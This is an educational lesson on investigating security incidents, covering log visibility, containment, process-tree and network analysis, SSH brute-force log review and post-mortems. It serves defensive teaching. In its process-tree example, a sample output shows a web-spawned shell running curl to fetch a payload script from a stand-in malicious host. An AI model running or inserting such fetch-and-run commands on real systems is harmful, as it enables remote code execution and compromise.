Lesson: Security Incident Investigation

Introduction: The Reality of Modern Infrastructure

In the world of software engineering and systems administration, we often focus on building features, optimizing performance, and ensuring high availability. However, the most critical skill for a professional in this field is the ability to respond when things go wrong—specifically, when a security incident occurs. A security incident investigation is the structured process of identifying, containing, analyzing, and remediating a breach or a suspicious event within your environment. Whether you are dealing with a compromised server, a data leak, or an unauthorized access attempt, your ability to conduct a methodical investigation determines the difference between a minor hiccup and a catastrophic failure.

Why does this matter? Because security is not a static state; it is a constant process of monitoring and reacting. Even the most secure systems have vulnerabilities, whether they are human errors, misconfigurations, or zero-day exploits. If you cannot effectively investigate an incident, you cannot determine the root cause, which means you cannot prevent the incident from happening again. This lesson will guide you through the lifecycle of a security investigation, providing you with the technical mindset and the practical tools required to handle high-pressure security scenarios.

Phase 1: Preparation and Detection

Before an incident even occurs, you must have the foundation in place to detect it. You cannot investigate what you cannot see. Detection usually comes from logs, alerts from monitoring tools, or reports from users. When an alert triggers—for instance, a sudden spike in outbound traffic from a database server—you are entering the investigation phase.

Establishing Visibility

To investigate properly, you need reliable data sources. If your logs are missing, rotated too quickly, or not centralized, your investigation will hit a wall immediately. You should ensure that your environment collects:

• Authentication Logs: Who logged in, when, from where, and using what method (SSH keys, passwords, MFA).
• System/Kernel Logs: Changes to system files, process execution, and privilege escalation attempts.
• Network Traffic Logs: Flow data, DNS queries, and outbound connection attempts.
• Application Logs: User activity within the application, especially high-value actions like administrative changes or bulk data exports.

Callout: The Importance of Immutable Logs A common tactic used by attackers is to "clear their tracks" by deleting or modifying log files on a compromised machine. To prevent this, always ship your logs to a remote, write-only logging server or a managed security information and event management (SIEM) system. If an attacker gains root access to your application server, they should not have the permissions to delete the logs already sent to your central repository.

Phase 2: Identification and Scoping

Once an alert is raised, your first task is to determine if it is a "true positive" or a "false positive." A false positive is an alert triggered by legitimate behavior that looks suspicious. For example, a developer running a load test might look like a Distributed Denial of Service (DDoS) attack.

The Triage Process

1. Verify the Alert: Look at the source of the alert. Does the data match the expected pattern of an attack?
2. Define the Scope: Which systems are involved? Is it a single container, an entire cluster, or an external service?
3. Establish a Timeline: When did the activity start? When did it end? Are there any patterns in the timing (e.g., repeating at 3:00 AM)?

Tip: Use Contextual Data Always correlate your alerts with deployment logs. If you see a sudden change in system behavior, check if a deployment occurred at that exact moment. Often, what looks like a security incident is actually a bug introduced in a recent code push.

Phase 3: Containment and Eradication

Containment is about stopping the "bleeding." You want to prevent the attacker from moving further into your network or stealing more data.

Methods of Containment

• Isolation: Move the compromised host to a restricted network segment (a "quarantine" VLAN) where it can be analyzed without being able to reach the internet or internal databases.
• Credential Revocation: If you suspect an account is compromised, rotate all credentials associated with that user or service immediately.
• Service Suspension: In extreme cases, you may need to take a service offline to stop an active data exfiltration.

Warning: Don't Reboot Too Early A common mistake is to reboot a compromised machine to "fix" it. This wipes the volatile memory (RAM), which is where the most valuable evidence often lives. Unless the system is actively destroying critical data, prioritize capturing a memory dump and a disk snapshot before rebooting or shutting down.

Phase 4: Detailed Analysis

This is the heart of the investigation. You are now looking for the "how" and the "why." You need to reconstruct the attacker's actions.

Analyzing Process Trees

Attackers often use common utilities to hide their activity. You should look for suspicious process chains. For instance, a web server process (like nginx or apache) should never spawn a shell (like /bin/bash or /bin/sh). If you see this, it is almost certainly a sign of a remote code execution (RCE) vulnerability.

Example: Detecting Suspicious Processes You can use tools like ps, htop, or pstree on Linux to inspect the process hierarchy.

# Display the process tree to see what spawned what
pstree -ap | grep -E "nginx|apache|php|python"

If you see an output like this:

|-nginx,1234
|   `-php-fpm,5678
|       `-sh,9999  <-- THIS IS HIGHLY SUSPICIOUS
|           `-curl,10000 -s http://malicious-site.com/payload.sh

This clearly indicates that the web server process spawned a shell, which then downloaded and executed a script. You have successfully identified the entry point and the nature of the compromise.

Checking File Integrity

Look for files that have been modified recently. Attackers often install backdoors by modifying existing configuration files or adding new scripts to /tmp or /var/tmp.

# Find files modified in the last 24 hours
find /etc /var/www -mtime -1 -ls

Phase 5: Recovery and Post-Mortem

Recovery is the process of returning systems to normal operation. This should only happen after you have eradicated the vulnerability. If you restore from a backup that still contains the vulnerability, you will simply be re-compromised.

The Post-Mortem

The most important part of an investigation is the post-mortem. This is a blameless document that answers:

• What happened?
• How did we detect it?
• How long did it take to respond?
• What gaps allowed this to happen?
• What will we do to prevent this in the future?

Callout: The "Blameless" Culture A post-mortem should never focus on blaming individuals. If a developer pushed a vulnerable configuration, the question should be "Why did our CI/CD pipeline allow this configuration to pass?" rather than "Why did the developer make this mistake?" Focusing on systemic improvements is the only way to build long-term security.

Technical Deep-Dive: Investigating Network Anomalies

Often, the first sign of trouble is unusual network activity. Attackers need to communicate with their Command and Control (C2) servers. You can use tools like tcpdump or wireshark to inspect traffic, but for large-scale environments, you should rely on flow logs.

Analyzing Network Flow

If you are using cloud providers like AWS, Azure, or GCP, you have access to VPC Flow Logs. These logs tell you the source IP, destination IP, port, and protocol of every connection.

Common Indicators of Compromise (IoC) in Network Logs:

• Beaconing: A server sending a small amount of data to a specific external IP at perfectly regular intervals (e.g., every 60 seconds). This is a hallmark of C2 communication.
• Unexpected Outbound Ports: A web server communicating over non-standard ports like 4444 or 6667 (often used by reverse shells).
• Large Data Transfers: A database server suddenly sending gigabytes of data to an unknown external IP address.

Common Pitfalls and How to Avoid Them

1. Falling for "Confirmation Bias"

It is easy to find a suspicious process and decide immediately, "This is the hacker." You then ignore other evidence that might contradict your theory.

• The Fix: Always play "Devil's Advocate." Try to find evidence that proves your theory is wrong. If you cannot, then you can be more confident in your findings.

2. Failing to Document the Investigation

When you are in the middle of a crisis, you will forget what you did ten minutes ago.

• The Fix: Keep a "running log" of your investigation. Note down every command you run, every file you inspect, and every decision you make. This is crucial for the post-mortem and for legal/compliance requirements.

3. Ignoring the "Low and Slow" Attack

Not all attacks are loud and obvious. Some attackers sit in your system for months, slowly gathering data.

• The Fix: Use long-term aggregation. Regularly audit your user access logs and permission sets. If you see a user account that hasn't been used in six months suddenly log in, investigate it immediately.

Comparison: Reactive vs. Proactive Investigation

Step-by-Step: Conducting a Log Analysis

Let’s walk through a scenario where you suspect a brute-force attack on your SSH service.

1. Identify the log file: On most Linux systems, this is /var/log/auth.log or /var/log/secure.
2. Search for failed attempts: Use grep to find the relevant entries.
   • grep "Failed password" /var/log/auth.log
3. Count the attempts per IP: This helps you identify if the attack is coming from a single source.
   • grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
4. Evaluate the findings: If you see one IP address with thousands of failed attempts, you have confirmed a brute-force attack.
5. Take action: Use a firewall rule to block that IP or update your SSH configuration to use key-based authentication only, disabling password logins entirely.

Industry Best Practices

• Principle of Least Privilege (PoLP): Ensure that no user or service has more permissions than it absolutely needs. This limits the "blast radius" if a credential is stolen.
• Automated Alerting: Don't rely on manual log checks. Configure your SIEM or monitoring tool to alert you automatically when specific thresholds are met (e.g., 5 failed login attempts in 1 minute).
• Regular Drills: Conduct "Game Days" or "Tabletop Exercises." Pretend a specific incident occurred and walk through your response process as a team. This identifies gaps in your documentation and communication long before a real incident happens.
• Centralized Identity Management: Use a centralized provider (like Okta, Active Directory, or AWS IAM) for all authentication. This makes it easier to audit access and kill sessions globally during an incident.

Common Questions (FAQ)

Q: Should I delete the compromised server and start from scratch? A: In many cases, yes. It is often faster and safer to rebuild from a known-good image than to try to "clean" a compromised machine. However, do this only after you have performed your forensics and captured the necessary evidence.

Q: What if I don't have a security team? A: That is common in smaller organizations. The responsibility falls to the DevOps or SysAdmin team. Use managed services that provide built-in security alerts (like AWS GuardDuty or Google Cloud Security Command Center) to do the heavy lifting for you.

Q: How do I know if the attack was successful? A: You look for "post-exploitation" behavior. Did the attacker modify files? Did they create new users? Did they open outbound network connections? If you see these signs, assume the account or machine is compromised.

Key Takeaways

1. Visibility is Everything: You cannot investigate what you cannot see. Centralize your logs and ensure they are immutable so that attackers cannot erase their tracks.
2. Preserve Evidence First: Before taking action to "fix" a system, capture its current state (memory and disk). Rebooting or shutting down a system destroys evidence that you will need for your analysis.
3. Think in Process Trees: Use tools like pstree or process auditing to see exactly what an attacker is doing. Look for suspicious parent-child relationships, such as web servers spawning shells.
4. Containment Before Eradication: Your first priority is to stop the damage. Isolate the affected systems from the network, rotate credentials, and then focus on the long-term fix.
5. Embrace the Blameless Post-Mortem: Every incident is a learning opportunity. Use the post-mortem process to improve your systems and processes, not to assign blame to individuals.
6. Automate Your Defenses: Use firewalls, rate-limiting, and automated alerts to handle common attacks like brute-forcing, so you can spend your time investigating more complex, targeted threats.
7. Practice Regularly: Security incident response is a muscle memory. If you only practice during an actual incident, you will be slow and prone to errors. Conduct regular tabletop exercises to ensure your team is prepared.

Additional Technical Examples: File System Integrity

In addition to process monitoring, file integrity is a major indicator of compromise. Attackers often modify binaries to gain persistent access. You can use tools like AIDE (Advanced Intrusion Detection Environment) or Tripwire to monitor your system.

If you don't have these tools installed, you can perform a manual check for common system binary tampering using md5sum or sha256sum.

# Generate a hash of a system binary during a "known good" state
sha256sum /usr/bin/ls > /tmp/ls.hash

# Later, verify the hash
sha256sum -c /tmp/ls.hash

If the verification fails, the binary has been modified, and you should treat the system as compromised. This simple technique, while manual, is highly effective for critical system files if you have a baseline to compare against.

Understanding the "Why" of Vulnerabilities

Many incidents occur because of "shadow IT"—services or servers that were spun up by developers and forgotten. These servers often don't receive security patches and are not monitored by the central security team.

• Inventory Management: You cannot protect what you don't know exists. Keep an updated inventory of all your assets.
• Vulnerability Scanning: Run automated scanners (like OpenVAS or Nessus) against your entire network on a schedule. This will help you find unpatched systems before an attacker does.

By integrating these practices into your daily workflow, you shift from being a reactive firefighter to a proactive security guardian. Security is a continuous loop of preparation, detection, analysis, and refinement. Keep your tools sharp, your logs centralized, and your mind open to the possibility that any system can, and eventually will, be tested by an adversary.

Final Thoughts on Incident Communication

While the technical investigation is critical, never underestimate the power of communication during an incident. You must define who needs to know what and when.

• Technical Team: Needs deep-dive details to solve the problem.
• Management: Needs high-level updates on impact and estimated time to resolution.
• Customers: Need clear, honest, and timely communication if their data is affected.

Being transparent about an incident—even when it is embarrassing—builds trust in the long run. Trying to hide an incident usually leads to worse outcomes when the truth inevitably comes out. Always follow your organization's incident response plan, and if you don't have one, start building it today. A simple, well-documented plan is worth far more than an expensive, complex tool that nobody knows how to use.

This concludes our lesson on Security Incident Investigation. By mastering these concepts, you ensure that you are not just a builder of systems, but a defender of their integrity. Remember: the goal is not perfection, but resilience. When the next incident happens—and it will—you will be ready to investigate, respond, and emerge stronger.